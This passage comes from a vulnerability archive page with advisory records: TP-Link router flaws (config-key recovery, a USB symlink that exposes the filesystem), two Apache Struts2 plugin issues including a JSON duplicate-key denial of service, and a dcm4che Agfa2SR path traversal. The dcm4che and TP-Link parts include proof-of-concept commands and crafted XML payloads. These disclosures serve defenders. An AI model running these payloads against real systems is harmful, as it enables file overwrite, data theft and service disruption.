backup is created if both parts are\nXORed:\nBase key  (hex) 74************cf\nModel key (hex) 35************31\nFinal key (hex) 41************fe\n\nUsing the final key and the tool mentioned the plaintext\ncan be recovered:\n$ python tpconf_bin_xml/tpconf_bin_xml.py -o conf.bin conf.xml\n\nThe resulting XML file will contain for example the plaintext\nWi-Fi credentials.\n\n\u003cSecurity\u003e\n  \u003cModeEnabled val=WPA2-WPA3-Personal /\u003e\n  \u003cX_TP_PSKType val=KeyPassphrase /\u003e\n  \u003cPreSharedKey val=$PRESHAREDKEY /\u003e\n    \u003cKeyPassphrase val=$PLAINTEXT_PASSWORD /\u003e\n    \u003cX_TP_WPAWPA2EncryptionMode val=AES /\u003e\n\u003c/Security\u003e\n\n4) Unsafe Symbolic Link Processing (CVE-2025-30240)\nPhysical access to the device allows an attacker to use the\nUSB port on the device. For the attacker a USB storage device\nneeds to be NTFS formatted and a symbolic link created.\nThe symbolic link can be created via the following command:\n\n$ ln -s / rootfs\n\nIf the USB storage device is detected by the device, the symbolic\nlink will be accessible via the following URL:\n\nhttp://$IP:8052/sda1/rootfs/\n\nUnder this URL the whole file system can be read, including\nthe active configuration of the device. The active configuration\nis accessible via the following path:\n\n/var/run/misc/misc_rw/0x00200000\n\nThe configuration itself is encrypted, but can be read via the\nproof of concept described in issue 3 \"Sensitive Data Stored Insecurely\".\n\n5) Authenticated OS Command Injection (CVE-2025-30241)\nAs a prerequisite, authenticated access to the web interface is needed.\nThe first vulnerable input is the content user password. It is reachable by\nnavigating to:\n\nAdvanced -\u003e USB Devices -\u003e Sharing Access -\u003e Sharing Account -\u003e Passwor"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T07:30:02Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/11"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Oct/11"
        },
        {
          "url": "http://$IP:8052/sda1/rootfs/"
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://github.com/jibsen/brieflz"
        },
        {
          "url": "https://github.com/sta-c0000/tpconf_bin_xml/blob/master/tpconf_bin_xml.py"
        },
        {
          "url": "https://hex.fish/2021/05/10/tp-link-gdpr/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://vulnogram.org/seaview/?CVE-2025-30237"
        },
        {
          "url": "https://vulnogram.org/seaview/?CVE-2025-30238"
        },
        {
          "url": "https://vulnogram.org/seaview/?CVE-2025-30239"
        },
        {
          "url": "https://vulnogram.org/seaview/?CVE-2025-30240"
        },
        {
          "url": "https://vulnogram.org/seaview/?CVE-2025-30241"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://www.tp-link.com"
        },
        {
          "url": "https://www.tp-link.com/us/about/about-us/"
        },
        {
          "url": "https://www.tp-link.com/us/support/faq/5239/"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Oct/11"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20261008-0 :: Multiple critical vulnerabilities in multiple TP-Link device series",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2025-30237",
              "type": "related"
            },
            {
              "destId": "CVE-2025-30238",
              "type": "related"
            },
            {
              "destId": "CVE-2025-30239",
              "type": "related"
            },
            {
              "destId": "CVE-2025-30240",
              "type": "related"
            },
            {
              "destId": "CVE-2025-30241",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0481",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/11",
            "automated": true,
            "contentSha256": "f78e8fa190e3778457c94baa6153c3c891c6dc47dda8b613c9ae05dddb3ec842",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/11",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-10-08T07:07:30Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0481"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T07:30:02Z",
    "dateUpdated": "2026-11-02T07:30:02Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0481"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0480

Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
Title
Apache Struts2 REST Plugin Untrimmed `Accept` Header Tokens Break Content Negation Fallback
Summary
Description The Apache Struts2 REST Plugin's `DefaultContentTypeHandlerManager.getHandlerForResponse(HttpServletRequest, HttpServletResponse)` splits the `Accept` header on commas and passes each resulting token directly to `findHandler(String)` without trimming leading or trailing whitespace. `findHandler(String)` only retries a trimmed lookup when a token contains a semicolon (`;`), so a token that merely carries a leading space has no such fallback and fails the direct map lookup. Impact Any client that sends a standard, comma-space-separated `Accept` header -- the typical of most Hypertext Transfer Protocol (HTTP) client libraries -- triggers this. As the lookup fails silently, `getHandlerForResponse()` falls through to the `defaultExtension` handler instead of the content type the caller actually requested, silently returning a representation that the client neither asked for nor can necessarily parse. In deployments that rely on content negotiation to select between differently-scoped representations of the same resource -- such as a minimal public representation served as the default extension against a fuller representation only intended for a specific, explicitly-requested type -- this fallback can cause the wrong representation to be returned, degrading interoperability and, where the two representations differ in which fields they expose, create a data-exposure vulnerability (insecure serialisation). While attackers cannot choose the default representation, they can abuse this to search for insecure serialisation, data exposures, and similar information disclosure issues, as well as to see if there is a difference between various representations and the default. Importantly, the default representation and ensuing serialisation library can be used against the information system (a trivial task). Examples Sample Code `getHandlerForResponse(HttpServletRequest, HttpServletResponse)` splits the raw `Accept` header on commas and sends each token to `findHandler(String)`, whose direct map lookup only has a trimming fallback when the token contains a semicolon, as shown below. ```java /** * Gets the handler for the response by looking at the extension of the request * @param request The request * @return The appropriate handler * * WW-4588: modified to get a handler for the response side and auto generate the response type * from the Accept: header * */ @Override public ContentTypeHandler getHandlerForResponse(HttpServletRequest request, HttpServletResponse res) { String extension = getExtensionIfPresent(request.getRequestURI()); if (extension == null) { extension = defaultExtension; final String acceptHeader = request.getHeader("accept") ; if (acceptHeader != null) { final String[] types = acceptHeader.split(","); for (final String type : types) { final ContentTypeHandler handler = findHandler(type); if (handler != null) { return handler; } } } } return handlersByExtension.get(extension); } private ContentTypeHandler findHandler(final String type) { ContentTypeHandler handler = handlersByContentType.get(type); if (handler == null) { // strip off encoding and search again (e.g., application/json;charset=ISO-8859-1) final int index = type.indexOf(';'); if (index != -1) { return handlersByContentType.get(type.substring(0, index).trim()); } } return handler; } ``` Code snippet from `struts2-rest-plugin`'s plugins/rest/src/main/java/org/apache/struts2/rest/DefaultContentTypeHandlerManager.java, lines 128-158 _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
Apache Struts2 REST Affected: unknown
Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Struts2 REST",
          "vendor": "Apache",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Daniel Owens via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Description\nThe Apache Struts2 REST Plugin\u0027s `DefaultContentTypeHandlerManager.getHandlerForResponse(HttpServletRequest, \nHttpServletResponse)` splits the `Accept` header on commas and passes each resulting token directly to \n`findHandler(String)` without trimming leading or trailing whitespace.  `findHandler(String)` only retries a trimmed \nlookup when a token contains a semicolon (`;`), so a token that merely carries a leading space has no such fallback and \nfails the direct map lookup.\n\nImpact\nAny client that sends a standard, comma-space-separated `Accept` header -- the typical of most Hypertext Transfer \nProtocol (HTTP) client libraries -- triggers this.  As the lookup fails silently, `getHandlerForResponse()` falls \nthrough to the `defaultExtension` handler instead of the content type the caller actually requested, silently returning \na representation that the client neither asked for nor can necessarily parse.  In deployments that rely on content \nnegotiation to select between differently-scoped representations of the same resource -- such as a minimal public \nrepresentation served as the default extension against a fuller representation only intended for a specific, \nexplicitly-requested type -- this fallback can cause the wrong representation to be returned, degrading \ninteroperability and, where the two representations differ in which fields they expose, create a data-exposure \nvulnerability (insecure serialisation).  While attackers cannot choose the default representation, they can abuse this \nto search for insecure serialisation, data exposures, and similar information disclosure issues, as well as to see if \nthere is a difference between various representations and the default.  Importantly, the default representation and \nensuing serialisation library can be used against the information system (a trivial task).\n\nExamples\nSample Code\n`getHandlerForResponse(HttpServletRequest, HttpServletResponse)` splits the raw `Accept` header on commas and sends \neach token to `findHandler(String)`, whose direct map lookup only has a trimming fallback when the token contains a \nsemicolon, as shown below.\n\n```java\n    /**\n     * Gets the handler for the response by looking at the extension of the request\n     * @param request The request\n     * @return The appropriate handler\n     *\n     * WW-4588: modified to get a handler for the response side and auto generate the response type\n     * from the Accept: header\n     *\n     */\n    @Override\n    public ContentTypeHandler getHandlerForResponse(HttpServletRequest request, HttpServletResponse res) {\n\n        String extension = getExtensionIfPresent(request.getRequestURI());\n        if (extension == null) {\n            extension = defaultExtension;\n            final String acceptHeader = request.getHeader(\"accept\") ;\n            if (acceptHeader != null) {\n                final String[] types = acceptHeader.split(\",\");\n                for (final String type : types) {\n                    final ContentTypeHandler handler = findHandler(type);\n                    if (handler != null) {\n                        return handler;\n                    }\n                }\n            }\n        }\n        return handlersByExtension.get(extension);\n    }\n\n    private ContentTypeHandler findHandler(final String type) {\n        ContentTypeHandler handler = handlersByContentType.get(type);\n        if (handler == null) {\n            // strip off encoding and search again (e.g., application/json;charset=ISO-8859-1)\n            final int index = type.indexOf(\u0027;\u0027);\n            if (index != -1) {\n                return handlersByContentType.get(type.substring(0, index).trim());\n            }\n        }\n        return handler;\n    }\n```\nCode snippet from `struts2-rest-plugin`\u0027s \nplugins/rest/src/main/java/org/apache/struts2/rest/DefaultContentTypeHandlerManager.java, lines 128-158\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T07:30:01Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/1"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Nov/1"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Nov/1"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Apache Struts2 REST Plugin Untrimmed `Accept` Header Tokens Break Content Negation Fallback",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0480",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/1",
            "automated": true,
            "contentSha256": "39a913e28fcd0c859fde13fe06055f1a775142c59150158b86380e5e9bc1c461",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/1",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-10-29T11:34:48Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T07:30:01Z",
    "dateUpdated": "2026-11-02T07:30:01Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0480"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0479

Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
Title
Apache Struts2 JSON Plugin Insecure Deserialisation -- Object Deserialisation Element-Count Limit Bypass
Summary
As of the current versions of the Apache Struts2 JSON Plugin (e.g., version 7.4.0 and the 7.5.0 snapshot dated 28 October 2026), attackers can bypass the element-count limit purported to protect Object deserialisation added to said code as part of the WW-5618 and S2-072 "hardening controls". Please note that this vulnerability and the attack string is different than the previously reported bypass against the JSON array deserialisation, which was discussed in detail via "Continued Apache Struts2 JSON Plugin Insecure Deserialisation" (28 October 2026) and "Maximised JSON Array Attacks -- "Let the Commas Hit the Floor" Proof of Concept" (28 October 2026). Said previous discussions pertained strictly to bypassing protections on array deserialisation, with distinct code paths, mistakes, and attack strings. Description: The information system's JavaScript Object Notation (JSON) object parser enforces the `maxElements` resource limit by checking the size of the `HashMap` being populated rather than by counting the number of key-value pairs actually being parsed, so a payload consisting of entirely repeated keys never grows the map past a single entry while incurring both memory and compute costs. Impact: An attacker who can send a request body to any endpoint protected by a `JSONInterceptor` configured with a `maxElements` ceiling (including the default value) can construct a JSON object consisting of an arbitrarily large number of duplicate-key pairs -- for example, the same key repeated hundreds of thousands of times -- bounded only by the value of `struts.json.maxLength`, and have every pair be fully parsed, hashed, and boxed before the `maxElements` check ever has a chance to trip since `Map.put(Object, Object)` with an already-present key never increases the value `ret.size()`. Attackers can force disproportionate CPU and allocation work, memory usage (similar to that discussed in "Continued Apache Struts2 JSON Plugin Insecure Deserialisation" (28 October 2026) and "Maximised JSON Array Attacks -- "Let the Commas Hit the Floor" Proof of Concept" (28 October 2026)) with a single request and exhaust server resources across concurrent requests. For example, attackers can build a single object containing 262,143 String-Double key-value pairs (only limited by `struts.json.maxLength`, to a 2MB string), with a single request consuming over 46MB and taking ~37ms to parse and build on a pre-warmed system (assume 64-bit HotSpot JVM running with compressed oops and 8-byte alignment, which is a standard configuration). Making several concurrent requests of such a nature can quickly create denial of service conditions. Examples: Sample Vulnerable Code `StrutsJSONReader.object()` in the `struts2-json-plugin` module, enforces the `maxElements` ceiling by comparing the size of the `HashMap` being populated against the limit immediately before every `put(Object, Object)` call, as shown below. ```java protected Map<String, Object> object() throws JSONException { if (this.depth >= this.maxDepth) { throw new JSONException("JSON object nesting exceeds maximum allowed depth (" + this.maxDepth + "). Use " + JSONConstants.JSON_MAX_DEPTH + " to increase the limit."); } this.depth++; try { Map<String, Object> ret = new HashMap<>(); Object next = this.read(); if (next != OBJECT_END) { String key = (String) next; validateKeyLength(key); while (this.token != OBJECT_END) { this.read(); // should be a colon if (this.token != OBJECT_END) { if (ret.size() >= this.maxElements) { throw new JSONException("JSON object exceeds maximum allowed elements (" + this.maxElements + "). Use " + JSONConstants.JSON_MAX_ELEMENTS + " to increase the limit."); } ret.put(key, this.read()); if (this.read() == COMMA) { Object name = this.read(); if (name instanceof String nextKey) { key = nextKey; validateKeyLength(key); } else { throw buildInvalidInputException(); } } } } } return ret; } finally { this.depth--; } } ``` Code snippet from `struts-2-json-plugin`'s plugins/json/src/main/java/org/apache/struts2/json/StrutsJSONReader.java, lines 156-196 Importantly, attackers can further couple this with the previously disclosed Apache Struts2 JSON Plugin `maxElements` bypass in the `array()` method in the same class (please see the aforementioned Full Disclosure postings for details). While attackers can choose from a variety of Objects, `Double` is the most damaging for this particular attack since they incur the cost of building and boxing/unboxing and are never cached (unlike `Long` and `String` objects). _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
Apache Struts2 JSON Affected: unknown
Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Struts2 JSON",
          "vendor": "Apache",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Daniel Owens via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "As of the current versions of the Apache Struts2 JSON Plugin (e.g., version 7.4.0 and the 7.5.0 snapshot dated 28 \nOctober 2026), attackers can bypass the element-count limit purported to protect Object deserialisation added to said \ncode as part of the WW-5618 and S2-072 \"hardening controls\".  Please note that this vulnerability and the attack string \nis different than the previously reported bypass against the JSON array deserialisation, which was discussed in detail \nvia \"Continued Apache Struts2 JSON Plugin Insecure Deserialisation\" (28 October 2026) and \"Maximised JSON Array Attacks \n-- \"Let the Commas Hit the Floor\" Proof of Concept\" (28 October 2026).  Said previous discussions pertained strictly to \nbypassing protections on array deserialisation, with distinct code paths, mistakes, and attack strings.\n\nDescription:\nThe information system\u0027s JavaScript Object Notation (JSON) object parser enforces the `maxElements` resource limit by \nchecking the size of the `HashMap` being populated rather than by counting the number of key-value pairs actually being \nparsed, so a payload consisting of entirely repeated keys never grows the map past a single entry while incurring both \nmemory and compute costs.\n\nImpact:\nAn attacker who can send a request body to any endpoint protected by a `JSONInterceptor` configured with a \n`maxElements` ceiling (including the default value) can construct a JSON object consisting of an arbitrarily large \nnumber of duplicate-key pairs -- for example, the same key repeated hundreds of thousands of times -- bounded only by \nthe value of `struts.json.maxLength`, and have every pair be fully parsed, hashed, and boxed before the `maxElements` \ncheck ever has a chance to trip since `Map.put(Object, Object)` with an already-present key never increases the value \n`ret.size()`.\n\n\nAttackers can force disproportionate CPU and allocation work, memory usage (similar to that discussed in \"Continued \nApache Struts2 JSON Plugin Insecure Deserialisation\" (28 October 2026) and \"Maximised JSON Array Attacks -- \"Let the \nCommas Hit the Floor\" Proof of Concept\" (28 October 2026)) with a single request and exhaust server resources across \nconcurrent requests.  For example, attackers can build a single object containing 262,143 String-Double key-value pairs \n(only limited by `struts.json.maxLength`, to a 2MB string), with a single request consuming over 46MB and taking ~37ms \nto parse and build on a pre-warmed system (assume 64-bit HotSpot JVM running with compressed oops and 8-byte alignment, \nwhich is a standard configuration).  Making several concurrent requests of such a nature can quickly create denial of \nservice conditions.\n\n\n\nExamples:\n\nSample Vulnerable Code\n\n`StrutsJSONReader.object()` in the `struts2-json-plugin` module, enforces the `maxElements` ceiling by comparing the \nsize of the `HashMap` being populated against the limit immediately before every `put(Object, Object)` call, as shown \nbelow.\n\n\n\n```java\n\n    protected Map\u003cString, Object\u003e object() throws JSONException {\n\n        if (this.depth \u003e= this.maxDepth) {\n\n            throw new JSONException(\"JSON object nesting exceeds maximum allowed depth (\"\n\n                    + this.maxDepth + \"). Use \" + JSONConstants.JSON_MAX_DEPTH + \" to increase the limit.\");\n\n        }\n\n        this.depth++;\n\n        try {\n\n            Map\u003cString, Object\u003e ret = new HashMap\u003c\u003e();\n\n            Object next = this.read();\n\n            if (next != OBJECT_END) {\n\n                String key = (String) next;\n\n                validateKeyLength(key);\n\n                while (this.token != OBJECT_END) {\n\n                    this.read(); // should be a colon\n\n\n\n                    if (this.token != OBJECT_END) {\n\n                        if (ret.size() \u003e= this.maxElements) {\n\n                            throw new JSONException(\"JSON object exceeds maximum allowed elements (\"\n\n                                    + this.maxElements + \"). Use \" + JSONConstants.JSON_MAX_ELEMENTS + \" to increase \nthe limit.\");\n\n                        }\n\n                        ret.put(key, this.read());\n\n\n\n                        if (this.read() == COMMA) {\n\n                            Object name = this.read();\n\n\n\n                            if (name instanceof String nextKey) {\n\n                                key = nextKey;\n\n                                validateKeyLength(key);\n\n                            } else {\n\n                                throw buildInvalidInputException();\n\n                            }\n\n                        }\n\n                    }\n\n                }\n\n            }\n\n\n\n            return ret;\n\n        } finally {\n\n            this.depth--;\n\n        }\n\n    }\n\n```\n\nCode snippet from `struts-2-json-plugin`\u0027s plugins/json/src/main/java/org/apache/struts2/json/StrutsJSONReader.java, \nlines 156-196\n\n\n\nImportantly, attackers can further couple this with the previously disclosed Apache Struts2 JSON Plugin `maxElements` \nbypass in the `array()` method in the same class (please see the aforementioned Full Disclosure postings for details).  \nWhile attackers can choose from a variety of Objects, `Double` is the most damaging for this particular attack since \nthey incur the cost of building and boxing/unboxing and are never cached (unlike `Long` and `String` objects).\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T07:30:01Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/0"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Nov/0"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Nov/0"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Apache Struts2 JSON Plugin Insecure Deserialisation -- Object Deserialisation Element-Count Limit Bypass",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0479",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/0",
            "automated": true,
            "contentSha256": "de00da61dd4c2dcab26d627c86f18ebc2fce3a5d9a9d59656bfc83d0613f2adb",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/0",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-10-29T11:16:48Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T07:30:01Z",
    "dateUpdated": "2026-11-02T07:30:01Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0479"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0478

Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
Title
[SYSS-2026-080]: dcm4che - Path Traversal (CWE-22)
Summary
Advisory ID: SYSS-2026-080 Product: dcm4che Manufacturer: J4Care Affected Version(s): 5.35.0 Tested Version(s): 5.35.0 Risk Level: High Solution Status: Open Manufacturer Notification: 2026-08-06 Public Disclosure: 2026-10-13 CVE Reference: Not yet assigned Author of Advisory: Matthias Deeg, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: and transmitting DICOM data (see [1]). The Agfa2SR command-line tool in dcm4che is vulnerable to a path traversal attack. An attacker who can supply an Agfa XML SR (Structured Report) file for processing with Agfa2SR can write files outside the configured output directory by injecting "../" sequences into the StudyInstanceUID field. This allows attackers to achieve arbitrary file write on the target system. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The Agfa2SR tool converts Agfa XML SR reports into DICOM or XML output files. It processes files containing reports delimited by <agfa:DiagnosticRadiologyReport>...</agfa:DiagnosticRadiologyReport> tags. Two path traversal vectors exist in the tool: Vector 1: getWriter path (Agfa2SR.java:268-271) When no XSLT stylesheet is configured (via the -x none flag), the report is written as XML. The StudyInstanceUID extracted from the input XML is used directly as the output filename without validation: private BufferedWriter getWriter(String outDir, String siuid) { return Files.newBufferedWriter( Paths.get(outDir, siuid + ".xml"), // NO path validation StandardCharsets.UTF_8); } Vector 2: DICOM output path (Agfa2SR.java:240) When an XSLT stylesheet is configured, the report is converted to DICOM and the filename is derived from DICOM attribute values via AttributesFormat.format(). The default format pattern is {0020000D} (StudyInstanceUID): File file = new File(outDir, format.format(attrs)); If an attacker provides an Agfa SR report XML containing <StudyInstanceUID>../outside_agfa2sr</StudyInstanceUID>, the resulting file path for Vector 1 resolves to: Paths.get(outDir, "../outside_agfa2sr.xml") which is the parent directory of outDir. For Vector 2, a StudyInstanceUID containing "../" in its DICOM attribute value similarly escapes the output directory via the format.format() substitution. A crafted Agfa SR report XML is straightforward to construct. It requires the START_OF_REPORT marker (<agfa:DiagnosticRadiologyReport), the StudyInstanceUID element containing the traversal payload, and an END_OF_REPORT marker (</agfa:DiagnosticRadiologyReport>). The agfa2sr binary processes such input without error. The root cause is the missing validation of the StudyInstanceUID and format.format() output before their use in file path operations. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The path traversal (vector 1) can be demonstrated by creating an Agfa SR report with a path traversal payload in the StudyInstanceUID field. cat > report1.xml << 'EOF' <agfa:DiagnosticRadiologyReport xmlns:agfa="http://agfa.com";> <StudyInstanceUID>../outside_agfa2sr</StudyInstanceUID> <PatientName>Test^Patient</PatientName> </agfa:DiagnosticRadiologyReport> EOF The output directory for agfa2sr (in this example "/tmp/output") has to exist. Running agfa2sr with no XSLT, which triggers the "getWriter" path, writes the file "/tmp/outside_agfa2sr.xml" one directory level above the configured output directory. agfa2sr -x none -d /tmp/output report1.xml The path traversal (vector 2) allows writes to directies that do not already exist. The output directory (in this example "/tmp/output") has to exist. cat > report2.xml << 'EOF' <agfa:DiagnosticRadiologyReport xmlns:agfa="http://www.agfa.com/hc";> <StudyInstanceUID>../outside_agfa2sr/poc</StudyInstanceUID> <OrderDetails> <AccessionNumber>POC</AccessionNumber> <ReferringPhysician> <Name> <SingleByteName> <LastName>Doe</LastName> <FirstName>John</FirstName> </SingleByteName> </Name> </ReferringPhysician> <StudyDetails> <StudyInstanceUID>../outside_agfa2sr/poc</StudyInstanceUID> <StudyDescription>POC Scan</StudyDescription> <ReasonForStudy>Security testing</ReasonForStudy> </StudyDetails> </OrderDetails> <PatientDetails> <Name> <SingleByteName> <LastName>POC</LastName> <FirstName>Vector2</FirstName> </SingleByteName> </Name> <Id> <IdText>PAT001</IdText> <IdDomain>Hospital</IdDomain> </Id> <BirthDate>19800101</BirthDate> <Sex>M</Sex> </PatientDetails> <ReportDetails> <ReportStatus>Preliminary</ReportStatus> <InterpretationRecordDate>20260101</InterpretationRecordDate> <InterpretationRecordTime>120000</InterpretationRecordTime> <ReportBody>Path traversal PoC for SYSS-2026-080 Vector 2</ReportBody> </ReportDetails> </agfa:DiagnosticRadiologyReport> EOF Running agfa2sr with this report creates the file "../outside_agfa2sr/poc" outside the specified output directory in a new directory. agfa2sr -d /tmp/output report2.xml ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: SySS GmbH is not aware of a security update for the described issue. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2026-08-06: Vulnerability reported to manufacturer 2026-09-04: Vulnerability reported to manufacturer again 2026-10-13: Public release of security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] dcm4che project website https://www.dcm4che.org/ [2] SySS Security Advisory SYSS-2026-080 [3] SySS GmbH, SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Matthias Deeg of SySS GmbH with the assistance of SySS AI. E-Mail: matthias.deeg (at) syss.de Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 4.0 URL: https://creativecommons.org/licenses/by/4.0/deed.en _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
VULNARCHIVE GNA GNA-1988
